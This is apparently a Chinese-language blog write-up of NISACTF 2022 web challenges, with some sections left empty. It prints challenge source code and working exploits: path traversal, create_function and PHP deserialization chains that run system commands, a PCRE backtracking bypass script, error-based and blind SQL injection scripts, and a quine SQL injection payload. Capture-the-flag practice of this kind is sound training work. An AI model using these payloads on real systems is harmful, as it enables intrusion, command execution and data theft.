目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. easyssrf
    2. 2.2. checkin
    3. 2.3. level-up
      1. 2.3.1. level 1
      2. 2.3.2. level 2
      3. 2.3.3. level 3
      4. 2.3.4. level 4
      5. 2.3.5. level 5
    4. 2.4. babyserialize
    5. 2.5. babyupload
    6. 2.6. popchains
    7. 2.7. middlerce
    8. 2.8. join-us
    9. 2.9. bingdundun~
    10. 2.10. midlevel
    11. 2.11. is secret
    12. 2.12. hardsql

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NISACTF 2022

2023/6/23 刷题
  |     |   总文章阅读量:

前言

屑博主之前刷题的时候没写wp,现在才想起来,那么顺便慢慢补一下吧

现在重做的感觉…还挺难的(x

Web

easyssrf

file伪协议读取文件

image-20230628185028220

先随便输个百度网址进去看看回显,可以看到返回了网页快照

猜测这里是通过读取url获取内容的,这里尝试使用file伪协议直接读取flag

image-20230628185421745

提示我们去看看/f14g

image-20230628185339791

直接访问ha1x1ux1u.php,看到源码

<?php
highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file); 

直接目录穿越读取flag即可

/ha1x1ux1u.php?file=../../../../../../flag

image-20230628185715715


checkin

Unicode控制字符

进入题目看到源码

<?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__);
?> 

一开始认为直接传入对应参数使其相等即可获得flag,但是复制参数时发现并没有这么简单

把源码copy下来到vscode中

image-20230629202554826

发现里面存在不可见的Unicode控制字符

那么再复制参数回去进行传参即可获得flag

image-20230629202803991


level-up

level 1

信息泄露

f12发现hint

image-20230630180345262

提示disallow,是robots.txt文件特有的字段

访问/robots.txt即可

image-20230630180557470

level 2

md5强碰撞

进入/level_2_1s_h3re.php,看到源码

 <?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

是md5强比较,因为有(string)的存在所以这里不能用数组绕过,只能用强碰撞,在我的文章php特性有exp

要用burp抓包传参

image-20230630181042910

level 3

sha1强碰撞

访问/Level___3.php,看到源码

<?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?> 

这次是sha1强碰撞,在我的文章php特性有exp

burp抓包传参

image-20230630181350348

level 4

变量解析绕过

访问/level_level_4.php,看到源码

<?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?>

传入的参数要为NI_SA_,但是黑名单中已经过滤了_

在变量解析中,php会把请求参数中的非法字符转为下划线

payload:

?NI+SA+=txw4ever

level 5

creat_function绕过

访问/55_5_55.php,看到源码

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

看到$a('',$b);,而这两个参数我们是可控的,所以参数a得为一个函数,而参数b得为一个命令执行语句

这里要用到creat_function绕过

payload:

?a=\create_function&b=}var_dump(scandir('/'));/*
?a=\create_function&b=}var_dump(file_get_contents('/flag'));/*

babyserialize

反序列化

进入题目看到源码

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

这题先找最终的利用点,可以发现在NISA类的__invoke方法中存在eval命令执行

要触发__invoke方法,发现在Ilovetxw类的__toString方法中存在return $bb();,把对象当作函数调用

然后要触发__toString方法,发现在four类的__set方法中存在strtolower($this->a);,把对象当作字符串处理

然后要触发__set方法,发现在Ilovetxw类的__call方法中存在$this->huang->fun=$arg[0];,给不存在的对象fun赋值

然后要触发__call方法,发现在TianXiWei类的__wakeup方法中存在$this->ext->nisa($this->x);,调用了不存在的方法

所以链子为TianXiWei.__wakeup --> Ilovetxw.__call --> four.__set --> Ilovetxw.__toString --> NISA.__invoke

经过测试,发现过滤了system,这里尝试使用大写SYSTEM绕过成功

一开始的poc中让public $fun="show_me_flag";看到hint:”flag is in /“

得知flag在根目录

然后让public $txw4ever="SYSTEM('ls /');";知道flag为fllllllaaag

最终poc:(注:因为存在private属性会产生不可见字符%00,这里要url编码)

<?php
class NISA{
    public $fun;
    public $txw4ever="SYSTEM('tac /fllllllaaag');";
}

class TianXiWei{
    public $ext;
    public $x;

}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun='abc';
}

$a=new TianXiWei;
$a->ext=new Ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new Ilovetxw;
$a->ext->huang->a->su=new NISA;
echo urlencode(serialize($a));

babyupload

os.path.join()绝对路径拼接漏洞

进去是一个文件上传页面,f12发现注释/source

访问/source,下载源码

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

审计一下代码,先看上传文件的部分

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)

这里过滤了.,即上传的文件不能有后缀,上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid,再通过/file/uuid访问文件

接下来看访问文件的部分

@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()

通过查询数据库得到对应文件名,在文件名前拼接uploads/后读取该路径下上传的文件

首先我们知道这里过滤了文件后缀,所以php的一句话木马在这里用不上,那么就要思考这个访问文件的函数能否直接读flag

一般情况下,在文件名前被uploads/拼接意味着只能读取上传后的文件,而且上传的文件没有后缀名,不能直接利用

os.path.join()函数存在绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。然而,这个函数有一个少有人知的特性,如果拼接的某个路径以/开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

所以,当上传的文件名为/flag ,上传后通过uuid访问文件后,查询到的文件名是/flag ,那么进行路径拼接时,uploads/将被删除,读取到的就是根目录下的flag文件

burpsuite抓包改文件名

image-20231016110154109

发到重放器,发包后跟随重定向即可读到flag


popchains

反序列化+php伪协议

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 

preg_match函数能够触发__toString

链子:Road_is_Long::__wakeup -> Road_is_Long::__toString -> Make_a_Change::__get -> Try_Work_Hard::__invoke -> Try_Work_Hard::append

逆天,flag在/flag,flag.php访问直接404了

存在protect属性,记得url编码%00*%00var,exp直接全编码了

exp:

<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
}

class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
}

$a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();

echo urlencode(serialize($a));

middlerce

PCRE

<?php
include "check.php";
if (isset($_REQUEST['letter'])) {
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m', $txw4ever)) {
        die("再加把油喔");
    } else {
        $command = json_decode($txw4ever, true)['cmd'];
        checkdata($command);
        @eval($command);
    }
} else {
    highlight_file(__FILE__);
}

过滤拉满了,匹配的还是多行,直接考虑PCRE回溯绕过,也就是正则溢出绕过

cmd要我们传入json结构的数据,对json_decode,本地测试一下

<?php
$b ='{"cmd":"ls"}';
$a = json_decode($b, true)['cmd'];
var_dump($a);
//返回 string(2) "ls"
//相当于就是返回字符串ls

getshell之后拿到的check.php

<?php
function checkdata($data){
    if (preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i",$data,$match)){
        die('差一点点捏');
    }
}

脚本

import requests
 
url = "http://node4.anna.nssctf.cn:28045/"
data='{"cmd":"?><?=`nl /f*`;?>","t":"' + "@"*1000000 + '"}' 
# 这里必须使用特殊字符,@$之类的都是可以的
a = requests.post(url=url,data={'letter': data}).text
print(a)

join-us

报错注入

在登录界面有注入点

fuzz一下 ,过滤了union,UNION,and,sleep,by,as,if,ascii,left,right,substring,handler,updatexml,benchmark,insert,update,”,=,database,column

database被ban的话,我们可以去查一个不存在的表来爆出表名

tt=1'or(select * from a)#

image-20231019205243389

数据库名为sqlsql

接下来爆表名,因为union被ban,那我们用报错注入,因为ban了updatexml,这里用extractvalue,用like代替=

不知道为什么这里or用不了了,那就||

1'||extractvalue(0,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema like 'sqlsql')))#

image-20231019210223183

有两个表一个个查过去

接下来爆列名,但是column被ban了,不过我们可以用join函数来操作,参考文章:http://www.wupco.cn/?p=4117

flag实际上在output表中

1'||extractvalue(0,concat(0x7e,(select * from(select * from output a join output b)c)))#

有一个data列,接下来爆字段前半段

1'||extractvalue(0,concat(0x7e,(select data from output)))#

后半段

1'||extractvalue(0,concat(0x7e,mid((select data from output),29,50)))#

bingdundun~

phar文件上传


midlevel


is secret


hardsql

like盲注+Quine注入

题目描述给出了查询语句

$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

进入题目index.php页面

image-20230624162555196

可以看到是一个登录界面,题目描述中给出了username的值为bilala,那应该是要我们对passwd进行注入,先让username为bilala,然后随便输入个密码看看回显

image-20230624162739968

题目说登录成功就能有flag,应该有waf

这里先fuzz看看过滤(注意进行登录操作的是login.php)

image-20230624164741675

过滤还挺多,也不能用万能密码

过滤了if,sleep,char,||,=,空格等

但是like没被过滤,所以可以使用like函数进行模糊匹配爆破,然后用/**/代替空格

passwd=1'/**/or/**/passwd/**/like/**/'§1§%'#

image-20230624171129274

成功匹配,可以得知第一位是b

那接下来就是盲注了

脚本:

import requests
url = 'http://node3.anna.nssctf.cn:28800/login.php'
dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
flag = ''
for j in range(50):
    for i in dict:
        data = {
            "username": "bilala",
            "passwd": f"-1'/**/or/**/passwd/**/like/**/'{flag+i}%'#"
        }
        # print(data)
        res = requests.post(url=url, data=data)
        # print(res.text)
        if 'nothing found' not in res.text:
            # print(i)
            # print(res.text)
            flag+=i
            print(flag)
            break

得到密码b2f2d15b3ae082ca29697d8dcd420fd7

image-20230624183714113

传入参数获取源码

image-20230624183817469

 <?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
        alertMes('waf here', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    $username=$_POST['username'];
    $password=$_POST['passwd'];
    if ($username !== 'bilala') {
        alertMes('only bilala can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    $user_result=mysqli_query($MysqlLink,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes('nothing found','index.php');
    }
    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.php');
    }
}

?>

代码审计一下可以发现要想获得flag就要让$row['passwd'] === $password但是$password != 'b2f2d15b3ae082ca29697d8dcd420fd7'

要实现这个结果就需要利用quine注入

题目给的条件是

$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

则基本形式为

1'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#

其中str为

1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#

但是char被过滤了,所以使用chr(或者0x)

最终payload:

passwd=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')